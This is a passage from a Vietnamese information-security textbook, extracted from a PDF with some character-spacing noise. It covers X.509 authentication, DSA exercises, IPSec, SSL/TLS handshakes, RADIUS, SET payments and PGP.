chứng nhận của cha. Có thể kiểm chứng chứng nhận bất k ỳ của một CA cho ngườ i sử dụng bằng các CA khác trong sơ  đồ phân cấ p.4. Sự thu hồi chứ ng nhậnGiấy chứng nhận có chu k ỳ sử dụng, có thể thu hồi tr ướ c thờ i hạn trong những tr ườ nghợ  p cần thiết như: khoá riêng của ngườ i sử dụng bị lộ, ngườ i dùng không tiế p tục đượ c

chứng nhận bở i CA đó, Giấy chứng nhận của CA bị làm hại. Nói chung CA bảo trì danhsách các chứng nhận bị thu hôì (CRL – Certificate Revocation List). Ngườ i sử dụng cóthể kiểm tra lại các chứng nhận đã bị thu hồi.5. Các thủ tục xác thự cX.509 bao gồm ba thủ tục xác thực tùy chọn: xác thực một chiều, xác thực hai chiều vàxác thực ba chiều. Mọi thủ tục trên đều sử dụng các chữ ký khoá công khai.Xác thự c một chiềuMột chiều A->B đượ c sử dụng để thiết lậ p

o  Danh tính của A và r ằng mẩu tin là từ Ao  Mẩu tin đượ c gửi cho Bo  Tính toàn vẹn và gốc gác của mẩu tin

Mẩu tin có thể bao gồm cả nhãn thờ i gian, ký hiệu đặc tr ưng của mẩu tin (nonce), danhtính của B và nó đượ c ký bở i A. Có thể bao gồm một số thông tin bổ sung cho B như khoá phiên.Xác thự c hai chiềuHai mẩu tin A->B và B->A đượ c thiết lậ p, ngoài mẩu tin từ A đến B như trên còn có:

o  Danh tính của B và tr ả lờ i từ Bo  Tr ả lờ i này dành cho Ao  Tính toàn vẹn và gốc gác của tr ả lờ i

Tr ả lờ i bao gồm cả ký hiệu đặc tr ưng của mẩu tin (nonce) từ A, cả nhãn thờ i gian và kýhiệu đặc tr ưng tr ả lờ i từ B. Có thể bao gồm một số thông tin bổ sung cho A.Xác thự c ba chiều

Ba mẩu tin A->B, B->A và A->B đượ c thiết lậ p như trên mà không có đồng hồ đồng bộ. Ngoài 2 chiều như trên còn có tr ả lờ i lại từ A đến B chứa bản sao nonce của tr ả lờ i từ B,ngh ĩ a là các nhãn thờ i gian mà không cần kiểm tra.X.509 phiên bản 3Trong phiên bản 3 đượ c bổ sung một số thông tin cần thiết trong giấy chứng nhận như:Email/URL, chi tiết về đợ t phát hành, các ràng buộc sử dụng. Tốt hơ n hết là đặt tên tườ ngminh cho các cột mớ i xác định trong phươ ng pháp mở r ộng tổng quát. Các mở r ộng baogồm:

o  Danh tính mở r ộngo  Chỉ dẫn tính quan tr ọngo  Giá tr ị mở r ộng

Các mở rộng xác thự cKhoá và các thông tin đợ t phát hànho  Bao trùm thông tin về đối tượ ng, khoá ngườ i phát hành, chỉ thị kiểu phát

hành, chứng nhậnĐối tượ ng chứng nhận và các thuộc tính ngườ i phát hành

o  Hỗ tr ợ có tên phụ, định dạng phụ cho các đối tượ ng và ngườ i phát hànhChứng nhận các ràng buộc phát hành

o  Cho phép sử dụng các ràng buộc trong chứng nhận bở i các CA khác

Page 105: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 105/147

 - 105 -

Bài tập

1. Chữ ký điện tử DSA:•  Cho p = 23, q = 11, h=3

•  Tính g•   NSA A chọn khoá riêng xA = 7, tính khoá công khai của yA của A•  Cho bản Hash của M là H(M) = 15•  Chọn số ngẫu nhiên k = 6•  Tính chữ ký điện tử của A: (r, s)•   Nêu cách ngườ i nhận kiểm chứng chữ ký điện tử của A trên bản tin M.

2. Chữ ký điện tử DSA:•  Cho p = 53, q = 13, h=5•  Tính g•   NSA A chọn khoá riêng xA = 11, tính khoá công khai của yA của A•  Cho bản Hash của M là H(M) = 17•  Chọn số ngẫu nhiên k = 9•  Tính chữ ký điện tử của A: (r, s)•   Nêu cách ngườ i nhận kiểm chứng chữ ký điện tử của A trên bản tin M.

3. Hãy cho biết các phươ ng pháp phân phối khoá công khai. Và các cách trao đổicông khai khoá mật giữa hai ngườ i sử dụng4. Nêu sự khác biệt giữa MAC và Hash và nêu tác dụng của chúng. Cho một số vídụ về các hàm MAC và Hash.5. Cho biết HMAC là gì, sử dụng chúng vào mục đích nào.6. Nêu một số cách tạo và kiểm chứng chữ ký điện tử 7. Chứng minh “Nghịch lý Ngày sinh nhật”, tức là có ít nhất 23 ngườ i, thì xácsuất để có hai ngườ i trùng ngày sinh nhật sẽ lớ n hơ n hoặc bằng 0.5.8. Các hàm số học và logic cơ bản nào dùng trong MD5?9. Các hàm số học và logic cơ bản nào dùng trong SHA-1?10. Các hàm số học và logic cơ bản nào dùng trong RIPEMD-160?11. Trình bày hoạt động của các giao thức xác thực trên mô hình Kerberos.12. Nêu nội dung dịch vụ xác thực X.509.

Page 106: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 106/147

 - 106 -

CHƯƠ NG 7:

AN TOÀN IP VÀ WEB

Trong chươ ng này chúng ta sẽ xét đến cơ chế an toàn IPSec và một số giao thức bảomật lớ  p vận chuyển ứng dụng trên Web.

VII.1 An toàn IPCó khá nhiều cơ  chế an toàn ứng dụng chuyên biệt như: S/MIME, PGP, Kerberos,SSL/HTTPS. Tuy nhiên có những cơ chế an toàn mà xuyên suốt nhiều tầng ứng dụngnhư là cơ chế an toàn IP đượ c cài đặt trên mạng cho mọi ứng dụng.

VII.1.1 IPSecIPSec là cơ  chế an toàn IP tổng quan. Nó cung cấ p: xác thực, bảo mật và quản tr ị khoá. IPSec đượ c dùng trên mạng LAN, mạng WAN riêng và chung và trên cả mạng

Internet.Lợ i ích của IPSecIPSec trên bức tườ ng lửa/router cung cấ p an toàn mạnh cho mọi việc truyền qua vànhđai. Nó chống lại việc đi vòng qua bức tườ ng lửa/router.IPSec nằm ở  tầng vận chuyển bên dướ i nên trong suốt vớ i mọi ứng dụng và có thể trong suốt vớ i ngườ i sử dụng đầu cuối. Nó có thể cung cấ p an toàn cho ngườ i sử dụngriêng biệt và bảo vệ kiến trúc r ẽ nhánh.

VII.1.2 Kiến trúc an toàn IPĐặc tả an toàn IP r ất phức tạ p, đượ c định ngh ĩ a qua một số chuẩn (RFC): bao gồmRFC 2401/2402/2406/2408 và có nhiều chuẩn khác đượ c nhóm theo loại. Điều này là

 bắt buộc đối vớ i IP6 và tuỳ chọn vớ i IP4. Có hai mở r ộng an toàn cho phần đầu:Phần đầu xác thực (AH – Authentication Header)Tải tr ọng an toàn đóng gói (ESP – Encapsulating Security Payload)

1.  Dịch vụ IPSecIPSec nhằm đạt các mục đích sau: kiểm soát truy cậ p, toàn vẹn không k ết nối, xácthực nguồn gốc dữ liệu, từ chối tải lại gói (đây là một dạng của toàn vẹn liên k ết từng phần), bảo mật (mã hoá), bảo mật luồng vận chuyển có giớ i hạn.2.  Liên k ết an toànQuan hệ một chiều giữa ngườ i gửi và ngườ i nhận mà cung cấ p sự an toàn cho luồngvận chuyển và đượ c xác định bở i 3 tham số 

o  Chỉ số tham số an toàn

o  Địa chỉ IP đícho  Tên của thủ tục an toàn Ngoài ra có một số các tham số khác như: chỉ số dãy (sequence number), thông tin về  phần đầu xác thực và phần đầu mở r ộng AH & EH, thờ i gian sống. Có lưu tr ữ cơ sở  dữ liệu của các liên k ết an toàn.3.  Phần đầu xác thự c (Authentication Header - AH)AH cung cấ p sự hỗ tr ợ cho an toàn dữ liệu và xác thực của các gói IP:

o  Hệ thống đầu cuối/chuyển mạch có thể xác thực ngườ i sử dụng/ứng dụng

Page 107: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 107/147

 - 107 -

o   Ngăn tấn công theo dõi địa chỉ bằng việc theo dõi các chỉ số dãy.AH dựa trên sử dụng MAC: HMAC–MD5–96 hoặc HMAC – SHA -1-96Muốn vậy các bên cần chia sẻ khoá mật.4.  Tải trọng an toàn đóng gói (ESP)ESP đảm bảo bảo mật nội dung mẩu tin và luồng vận chuyển giớ i hạn, có lựa chọn

cung cấ p dịch vụ xác thực và hỗ tr ợ phạm vi r ộng các mã, các chế độ mã, bộ đệmo  Bao gồm DES, Triple DES, RC5, IDEA, CAST,…o  CBC và các chế độ kháco  Bộ đệm cần thiết để lấ p đầy các kích thướ c khối, các tr ườ ng cho luồng vận

chuyển5.  Chế độ vận chuyển và chế độ ống ESPESP đượ c sử dụng vớ i 2 chế độ: vận chuyển và ống. Trong chế độ ống không cần giữ tườ ng minh địa chỉ đích.Chế độ vận tải đượ c sử dụng để mã và tuỳ chọn xác thực dữ liệu IP:

o  Dữ liệu đượ c bảo vệ nhưng phần đầu vẫn để rõ để biết địa chỉ đícho  Có thể phân tích vận chuyển một cách hiệu quả 

o  Tốt đối vớ i ESP máy chủ vận chuyển tớ i máy chủ Chế độ ống mã toàn bộ gói IPo  Bổ sung phần đầu mớ i cho bướ c nhảy tiế po  Tốt cho mạng riêng ảo VPN (Virtual Private Network), cổng đến cổng an toàn

6.  K ết hợ p các liên k ết an toànCác liên k ết an toàn có thể cài đặt qua AH hoặc ESP. Để cài đặt cả hai cần k ết hợ  pcác liên k ết an toàn

o  Tạo nên bó các liên k ết an toàno  Có thể k ết thúc tại các điểm cuối cùng nhau hoặc khác nhauo  K ết hợ  p bở i k ề vận chuyển và ống lặ p

Cần bàn luận về thứ tự xác thực và mã hoá

7.  Quản trị khoáQuản lý sinh khoá và phân phối khoá giữa các bên trao đổi thông tin, thông thườ ngcần hai cặ p khoá, 2 khoá trên một hướ ng cho AH và ESP.Trong cơ chế Quản tr ị khoá thủ công, ngườ i quản tr ị hệ thống thiết lậ p cấu hình chotừng hệ thống.Trong cơ chế Quản tr ị khoá tự động:

o  Hệ thống tự động dựa vào yêu cầu về khoá cho các liên k ết an toàn tronghệ thống lớ n.

o  Có các thành phần như thủ tục trao đổi khóa Oakley và liên k ết an toàntrên mạng ISAKMP

8.  Oakley

Oakley là thủ tục trao đổi khoá, dựa trên trao đổi khoá Diffie-Hellman. Ở đây bổ sungcác đặc tr ưng để khắc phục các điểm yếu như Cookies, nhóm (tham số tổng thể), cácchỉ số đặc tr ưng (nonces), trao đổi khoá Diffie Hellman vớ i việc xác thực. Có thể sử dụng số học trên tr ườ ng số nguyên tố hoặc đườ ng cong elip.9.  ISAKMPISAKMP liên k ết an toàn trên Internet và thủ tục quản tr ị khoá. Nó cung cấ p khungđể quản lý khoá, xác định các thủ tục và định dạng gói để thiết lậ p, thỏa thuận, điều

Page 108: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 108/147

 - 108 -

chỉnh và xoá các liên k ết an toàn (SA – Secure Associations). ISAKMP độc lậ p vớ ithủ tục trao đổi khoá, thuật toán mã hoá và phươ ng pháp xác thựcTrao đổi và tải trọng ISAKMPCó một số kiểu tải tr ọng ISAKMP: an toàn, đề xuất, dạng vận chuyển, khoá, địnhdanh, chứng nhận, hash, chữ ký, nonce và xoá.

ISAKMP có bộ khung cho 5 kiểu trao đổi mẩu tin:cơ sở , bảo vệ định danh, xác thực,tích cực và thông tin.

VII.2 An toàn WebVII.2.1 Khái niệmWeb ngày càng đượ c sử dụng r ộng rãi bở i các công ty, chính phủ và cá nhân, nhưngInternet và Web có những lỗ hổng lớ n và có nhiều mối đe doạ an toàn như:

o  Tính toàn vẹno  Bảo mậto  Từ chối dịch vụ o  Xác thực

 Như vậy cần bổ sung cơ chế bảo mật cho Web.VII.2.2 SSL (Secure Socket Layer)SSL là dịch vụ an toàn tầng vận chuyển, ban đầu đượ c phát triển bở i Netscape. Sauđó phiên bản 3 của nó đượ c thiết k ế cho đầu vào công cộng và tr ở  thành chuẩnInternet, đượ c biết đến như an toàn tầng vận chuyển TLS (Transport Layer Security).SSL sử dụng giao thức TCP để cung cấ p dịch vụ đầu cuối đến cuối tin cậy và có 2tầng thủ tục

VII.2.3 Kiến trúc SSL

Ở đây k ết nối SSL là:o  Tạm thờ i, đầu cuối đến đầu cuối, liên k ết trao đổio  Gắn chặt vớ i 1 phiên SSL

Và phiên SSL:o  Liên k ết giữa ngườ i sử dụng và máy chủ o  Đượ c tạo bở i thủ tục HandShake Protocol

Page 109: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 109/147

 - 109 -

o  Xác định một tậ p các tham số mã hoáo  Có thể chia sẻ bở i k ết nối SSL lặ p

1. Dịch vụ thủ tục bản ghi SSLDịch vụ thủ tục bản ghi SSL đảm bảo tính toàn vẹn của bản tin:

o  Sử dụng MAC vớ i khoá mật chia sẻ o  Giống như HMAC nhưng vớ i bộ đệm khácvà cung cấ p bảo mật:

o  Sử dụng mã đối xứng vớ i khoá chung xác định bở i thủ tục HandShake.o IDEA, RC2-40, DES-40, DES, 3DES, Fortezza, RC4-40, RC4-128o  Bản tin đượ c nén tr ướ c khi mã

2. Thủ tục thay đổi đặc tả mã SSL (SSL Change Cipher Spec Protocol):Đây là một trong 3 giao thức chuyên biệt của SSL sử dụng thủ tục bản ghi SSL. Đâylà mẩu tin đơ n, buộc tr ạng thái treo tr ở thành hiện thờ i và cậ p nhật bộ mã đang dùng3. Thủ tục nhắc nhở SSL (SSL Alert Protocol)Truyền đi lờ i nhắc của SSL liên quan cho thành viên. Nghiêm khắc: nhắc nhở hoặc

cảnh báo Nhắc nhở  đặc biệt:o  cảnh báo: mẳu tin không chờ   đợ i, bản ghi MAC tồi, lỗi giải nén, lỗi

Handshake, tham số không hợ  p lệ o   Nhắc nhở : đóng ghi chú, không chứng nhận, chứng nhận tồi, chứng nhận

không đượ c hỗ tr ợ , chứng nhận bị thu hồi, chứng nhận quá hạn, chứngnhận không đượ c biết đến.

 Nén và mã như mọi dữ liệu SSL4. Thủ tục bắt tay SSL (SSL HandShake Protocol)Thủ tục này cho phép máy chủ và máy tr ạm:

o  Xác thực nhau

o  Thỏa thuận thuật toán mã hoá và MACo  Thỏa thuận khoá mã sẽ dùng Nó bao gồm một loạt các thông tin:

o  Thiết lậ p các khả năng an toàno  Xác thực máy chủ và trao đổi khoáo  Xác thực máy tr ạm và trao đổi khoáo  K ết thúc

Page 110: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 110/147

 - 110 -

5. An toàn tầng vận chuyểnIETF chuẩn RFC 2246 giống như SSLv3.

Vớ i khác biệt nhỏ:o  số ký hiệu kích thướ c bản ghio  sử dụng HMAC thay cho MAC

o  hàm giả ngẫu nhiên tăng độ mậto  có mã ghi chú bổ sungo  có một số thay đổi hỗ tr ợ mão  thay đổi kiểu chứng nhận và thỏa thuậno  thay đổi bộ đệm và tính toán mã

Sau đây ta xem xét chi tiết giao thứ c xác thự c ngườ i dùng RADIUS và giao thứ cSSL:Giao thứ c RADIUSRADIUS là một dịch vụ dành cho việc xác nhận và cho phép ngườ i dùng truy cậ p từ xaqua các thiết bị như môdem, DSL, cáp mạng hoặc các thiết bị không dây khác. Một sitethông thườ ng có một máy chủ truy cậ p đượ c k ết nối vào một modem. Một máy chủ dịch

vụ RADIUS đượ c k ết nối vào mạng như một dịch vụ xác nhận. Những ngườ i dùng từ xagọi vào máy chủ truy cậ p, máy chủ sẽ yêu cầu những dịch vụ xác nhận từ máy chủ dịchvụ RADIUS. Máy chủ dịch vụ RADIUS sẽ xác nhận ngườ i dùng và cho phép họ truy cậ ptài nguyên.Những nhà quản tr ị mạng tạo ra những hồ sơ  về ngườ i dùng ở  máy chủ RADIUS,xác định các quyền hạn cấ  p cho ngườ i dùng từ xa. Những giao thức hỏi đápđượ c sử dụng trong suốt quá trình ngườ i dùng vào mạng.

Page 111: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 111/147

 - 111 -

Giao thứ c SSLĐượ c phát triển bở i Netscape, giao thức SSL đã đượ c sử dụng r ộng rãi trên mạng Internettrong việc xác thực và mã hoá thông tin giữa máy tr ạm và máy chủ. Trong khi SSL có thể sử dụng để hỗ tr ợ các giao dịch an toàn cho r ất nhiều ứng dụng khác nhau trên Internet.SSL không phải là một giao thức đơ n lẻ, mà là một tậ p các thủ tục đã đượ c chuẩn hoá để 

thực hiện các nhiệm vụ bảo mật sau:•  Xác thực máy chủ: Cho phép ngườ i sử dụng xác thực đượ c máy chủ muốn k ết

nối. Lúc này, phía browser sử dụng các k ỹ thuật mã hoá công khai để chắc chắnr ằng chứng chỉ và khoá công cộng của máy chủ là có giá tr ị và đượ c cấ p phát bở imột CA trong danh sách các CA đáng tin cậy của máy tr ạm.

•  Xác thực máy tr ạm: Cho phép phía máy chủ xác thực đượ c ngườ i sử dụng muốnk ết nối. Phía máy chủ cũng sử dụng các k ỹ thuật mã hoá công khai để kiểm traxem chứng chỉ và khoá công cộng của máy chủ có giá tr ị hay không và đượ c cấ p phát bở i một CA trong danh sách các CA đáng tin cậy không.

•  Mã hoá k ết nối: Tất cả các thông tin trao đổi giữa máy tr ạm và máy chủ đượ c mãhoá trên đườ ng truyền nhằm nâng cao khả năng bảo mật.

Hoạt động của SSLGiao thức SSL hoạt động dựa trên hai nhóm con giao thức là giao thức “bắt tay” và giaothức “bản ghi”. Giao thức bắt tay xác định các tham số giao dịch giữa hai đối tượ ng cónhu cầu trao đổi thông tin hoặc dữ liệu, còn giao thức bản ghi xác định khuôn dạng chotiến hành mã hoá và truyền tin hai chiều giữa hai đối tượ ng đó.Giao thức SSL “bắt tay”sẽ sử dụng SSL “bản ghi” để trao đổi một số thông tin giữa máy chủ và máy tr ạm vào lầnđầu tiên thiết lậ p k ết nối SSL.Một giao dịch SSL thườ ng bắt đầu bở i quá trình “bắt tay” giữa hai bên. Các bướ c trongquá trình “bắt tay” có thể như sau:

1.  Máy tr ạm sẽ gửi cho máy chủ số phiên bản SSL đang dùng, các tham số của thuật

toán mã hoá, dữ liệu đượ c tạo ra ngẫu nhiên (chữ ký số) và một số thông tin khácmà máy chủ cần để thiết lậ p k ết nối vớ i máy tr ạm2.  Máy chủ gửi cho máy tr ạm số phiên bản SSL đang dùng, các tham số của thuật

toán mã hoá, dữ liệu đượ c tạo ra ngẫu nhiên và một số thông tin khác mà máytr ạm cần để thiết lậ p k ết nối vớ i máy chủ. Ngoài ra máy chủ cũng gửi chứng chỉ của nó đến máy tr ạm và yêu cầu chứng chỉ của máy tr ạm nếu cần.

3.  Máy tr ạm sử dụng một số thông tin mà máy chủ gửi đến để xác thực máy chủ. Nếu như máy chủ không đượ c xác thực thì ngườ i sử dụng sẽ đượ c cảnh báo và k ếtnối không đượ c thiết lậ p. Còn nếu như xác thực đượ c máy chủ thì phía máy tr ạmsẽ thực hiện tiế p bướ c 4.

4.  Sử dụng tất cả các thông tin đượ c tạo ra trong giai đoạn bắt tay ở  trên, máy tr ạm

(cùng vớ i sự cộng tác của máy chủ và phụ thuộc vào thuật toán đượ c sử dụng) sẽ tạo ra premaster secret cho phiên làm việc, mã hoá bằng khoá công khai mà máychủ gửi đến trong chứng chỉ ở bướ c 2, và gửi đến máy chủ.

5.   Nếu máy chủ có yêu cầu xác thực máy tr ạm, thì phía máy tr ạm sẽ đánh dấu vào phần thông tin riêng chỉ liên quan đến quá trình “bắt tay” này mà hai bên đều biết.Trong tr ườ ng hợ  p này, máy tr ạm sẽ gửi cả thông tin đượ c đánh dấu và chứng chỉ của mình cùng vớ i premaster secret đã đượ c mã hoá tớ i máy chủ.

Page 112: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 112/147

 - 112 -

6.  Máy chủ sẽ xác thực máy tr ạm. Tr ườ ng hợ   p máy tr ạm không đượ c xác thực, phiên làm việc sẽ bị ngắt. Còn nếu máy tr ạm đượ c xác thực thành công, máy chủ sẽ sử dụng khoá bí mật để giải mã premaster secret, sau đó thực hiện một số bướ cđể tạo ra master secret.

7.  Máy tr ạm và máy chủ sẽ sử dụng master secret để tạo ra các khoá phiên , đó chính

là các khoá đối xứng đượ c sử dụng để mã hoá và giải mã các thông tin trong phiên làm việc và kiểm tra tính toàn vẹn dữ liệu.8.  Máy tr ạm sẽ gửi một lờ i nhắn đến máy chủ thông báo r ằng các thông điệ p tiế p

theo sẽ đượ c mã hoá bằng khoá phiên. Sau đó nó gửi một lờ i nhắn đã đượ c mãhoá để thông báo r ằng phía máy tr ạm đã k ết thúc giai đoạn “bắt tay”.

9.  Máy chủ cũng gửi một lờ i nhắn đến máy tr ạm thông báo r ằng các thông điệ p tiế ptheo sẽ đượ c mã hoá bằng khoá phiên. Sau đó nó gửi một lờ i nhắn đã đượ c mãhoá để thông báo r ằng máy chủ đã k ết thúc giai đoạn “bắt tay”.

10. Lúc này giai đoạn “bắt tay” đã hoàn thành, và phiên làm việc SSL bắt đầu. Cả hai phía máy tr ạm và máy chủ sẽ sử dụng các khoá phiên để mã hoá và giải mã thôngtin trao đổi giữa hai bên, và kiểm tra tính toàn vẹn dữ liệu

VII.3 Thanh toán điện tử an toàn 

VII.3.1 Yêu cầu Đây là mã mở và đặc tả an toàn nhằm bảo vệ thanh toán thẻ tín dụng trên Internet. Nóđượ c phát triển năm 1996 bở i Master, Visa Card và không phải hệ thống tr ả tiền.Thanh toán điện tử an toàn là tậ p các giao thức và định dạng an toàn dùng để 

o  Trao đổi an toàn giữa các đối táco  Tin tưở ng vì sử dụng X509v3o  Riêng biệt vì hạn chế thông tin cho ngườ i cần

Các thành phần Thanh toán điện tử  

Page 113: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 113/147

 - 113 -

VII.3.2 Thanh toán điện tử an toàn1.   Ngườ i mua mở tài khoản2.   Ngườ i mua nhận đượ c chứng nhận3.   Ngườ i bán có chứng nhận của họ 4.   Ngườ i mua đặt hàng

5.   Ngườ i bán đượ c kiểm chứng6.  Đơ n đặt hàng và tr ả tiền đượ c gửi7.   Ngườ i bán yêu cầu giấy phép tr ả tiền8.   Ngườ i bán duyệt đơ n đặt hàng9.   Ngườ i bán cung cấ p hàng và dịch vụ 10.  Ngườ i bán yêu cầu tr ả tiền

VII.3.3 Chữ ký kép Ngườ i mua tạo chữ ký kép

o  Thông tin đơ n đặt OI cho ngườ i báno  Thông tin tr ả tiền PI cho ngân hàng

Không bên nào biết chi tiết của ngườ i khác. Nhưng cần phải biết là họ đượ c k ết nối

vớ i nhau. Sử dụng chữ ký kép cho mục đích nàyo  Ký trên bản ghép của OI và PIVII.3.3 Yêu cầu trả tiềnTrao đổi yêu cầu tr ả tiền gồm 4 mẩu tin sau

1.  Khở i tạo yêu cầu - nhận chứng nhận2.  Khở i tạo tr ả lờ i – ký tr ả lờ i3.  Yêu cầu tr ả tiền - của OI và PI4.  Tr ả lờ i tr ả tiền – đơ n phúc đáp

VII.3.4 Yêu cầu trả tiền – ngườ i mua

Page 114: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 114/147

 - 114 -

VII.3.5 Yêu cầu trả tiền – ngườ i bán

1.  Kiểm tra chứng nhận ngườ i giữ thẻ bằng chữ ký của CA2.  Kiểm tra chữ ký kép bằng cách sử dụng khoá chữ ký công khai của ngườ i mua

để tin tưở ng r ằng đơ n không bị giả mạo khi truyền và đượ c ký sử dụng chữ kýkhoá riêng của ngườ i giữ thẻ.

3.  Xử lý đơ n đặt và gửi tiế p thông tin tr ả tiền cho cổng tr ả tiền để xác thực (môtả sau)4.  Gửi phản hồi tr ả tiền cho ngườ i giữ thẻ 

VII.3.6 Giấy phép cổng trả tiền1.  Kiểm chứng mọi chứng nhận2.  Giải mã phong bì điện tử của khối giấy phép và nhận đượ c khoá đối xứng, sau

đó giải mã khối giấy phép3.  Kiểm tra chữ ký của ngườ i bán trên khối giấy phép4.  Giải mã phong bì điện tử khối tr ả tiền, nhận đượ c khoá đối xứng, sau đó giải

mã khối tr ả tiền

5.  Kiểm tra chữ ký kép trên khối tr ả tiền6.  Kiểm tra r ằng, thanh toán ID nhận đượ c từ ngườ i bán phù hợ  p vớ i danh tínhtrong PI nhận đượ c (không tr ực tiế p) từ ngườ i bán

7.  Yêu cầu và nhận đượ c giấy phép từ nơ i phát hành8.  Gửi tr ả lờ i giấy phép cho ngườ i bán

VII.3.7 Nhận trả tiền

Page 115: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 115/147

 - 115 -

 Ngườ i bán gửi cho cổng tr ả tiền yêu cầu nhận tr ả tiền. Cổng kiểm tra yêu cầu đó. Sauđó yêu cầu chuyển tiền đến tài khoản ngườ i bán. Thông báo cho ngườ i bán và chờ tr ả lờ i việc nhận.

VII.4 An toàn thư  điện tử  

Thư điện tử là một trong những dịch vụ mạng đượ c coi tr ọng và ứng dụng r ộng rãi nhất.Đồng thờ i nội dung của các mẩu tin không an toàn. Có thể bị quan sát trên đườ ng truyềnhoặc bở i những ngườ i có thẩm quyền thích hợ  p ở hệ thống đầu cuối. Nâng cao an toàn thư điện tử là mục đích quan tr ọng của mọi hệ thống trao đổi thư. Ở đây phải đảm bảo các yêu cầu sau: tính bảo mật nội dung tin gửi, xác thực ngườ i gửi mẩutin, tính toàn vẹn của mẩu tin, hơ n nữa bảo vệ khỏi bị sửa, tính chống từ chối gốc, chốngtừ chối của ngườ i gửi.

VII.4.1 Dịch vụ PGP.PGP (Pretty Good Privacy) là một dịch vụ về bảo mật và xác thực đượ c sử dụng r ộng rãicho chuẩn an toàn thư điện tử. PGP đượ c phát triển bở i Phil Zimmermann. Ở đây lựa

chọn các thuật toán mã hoá tốt nhất để dùng, tích hợ  p thành một chươ ng trình thống nhất,có thể chạy trên Unix, PC, Macintosh và các hệ thống khác. Ban đầu là mi ĩ en phí, bâygiờ có các phiên bản thươ ng mại. Sau đây chúng ta xem xét hoạt động của PGP

Thao tác PGP – xác thự c Ngườ i gửi tạo mẩu tin, sử dụng SHA-1 để sinh Hash 160 bit của mẩu tin, ký hash vớ iRSA sử dụng khoá riêng của ngườ i gửi và đính kèm vào mẩu tin. Ngườ i nhận sử dụng RSA vớ i khoá công khai của ngườ i gửi để giải mã và khôi phục bảnhash. Ngườ i nhận kiểm tra mẩu tin nhận sử dụng bản hash của nó và so sánh vớ i bản hashđã đượ c giải mã.

Thao tác PGP – bảo mật Ngườ i gửi tạo mẩu tin và số ngẫu nhiên 128 bit như khoá phiên cho nó, mã hoá mẩu tinsử dụng CAST-128/IDEA /3DES trong chế  độ CBC vớ i khoá phiien đó. Khoá phiênđượ c mã sử dụng RSA vớ i khoá công khai ngườ i nhận và đính kèm vớ i mẩu tin. Ngườ i nhận sử dụng RSA vớ i khoá riêng để giải mã và khôi phục khoá phiên. Khoá phiên đượ c sử dụng để giải mã mẩu tin.

Thao tác PGP - Bảo mật và xác thự cCó thể sử dụng cả hai dịch vụ trên cùng một mẩu tin. Tạo chữ ký và đính vào mẩu tin,sau đó mã cả mẩu tin và chữ ký. Đính khoá phiên đã đượ c mã hoá RSA/ElGamal.

Thao tác PGP – nénTheo mặc định PGP nén mẩu tin sau khi ký nhưng tr ướ c khi mã. Như vậy cần lưu mẩutin chưa nén và chữ ký để kiểm chứng về sau. Vì r ằng nén là không duy nhất. Ở đây sử dụng thuật toán nén ZIP.

Thao tác PGP – tươ ng thích thư  điện tử  Khi sử dụng PGP sẽ có dữ liệu nhị phân để gửi (mẩu tin đượ c mã). Tuy nhiên thư điện tử có thể thiết k ế chỉ cho văn bản. Vì vậy PGP cần mã dữ liệu nhị phân thô vào các ký tự 

Page 116: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 116/147

 - 116 -

ASCII in đượ c. Sau đó sử dụng thuật toán Radix 64, ánh xạ 3 byte vào 4 ký tự in đượ c và bổ sung kiểm tra thừa quay vòng CRC để phát hiện lỗi khi truyền. PGP sẽ chia đoạn mẩutin nếu nó quá lớ n.

Tóm lại, cần có khoá phiên cho mỗi mẩu tin, có kích thướ c khác nhau: 56 bit – DES, 128

 bit CAST hoặc IDEA, 168 bit Triple – DES, đượ c sinh ra sử dụng dữ liệu đầu vào ngẫunhiên lấy từ sử dụng tr ướ c và thờ i gian gõ bàn phím của ngườ i sử dụng

Khoá riêng và công khai của PGP Vì có nhiều khoá riêng và khoá công khai có thể đượ c sử dụng, nên cần phải xác định rõcái nào đượ c dùng để mã khoá phiên trong mẩu tin. Có thể gửi khoá công khai đầy đủ vớ itừng mẩu tin. Nhưng đều đó là không đủ, vì cần phải nêu rõ danh tính của ngườ i gửi. Dođó có thể sử dụng định danh khoá để xác định ngườ i gửi. Có ít nhất 64 bit có ý ngh ĩ a củakhoá và là duy nhất, có thể sử dụng định danh của khoá trong chữ ký.

Page 117: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

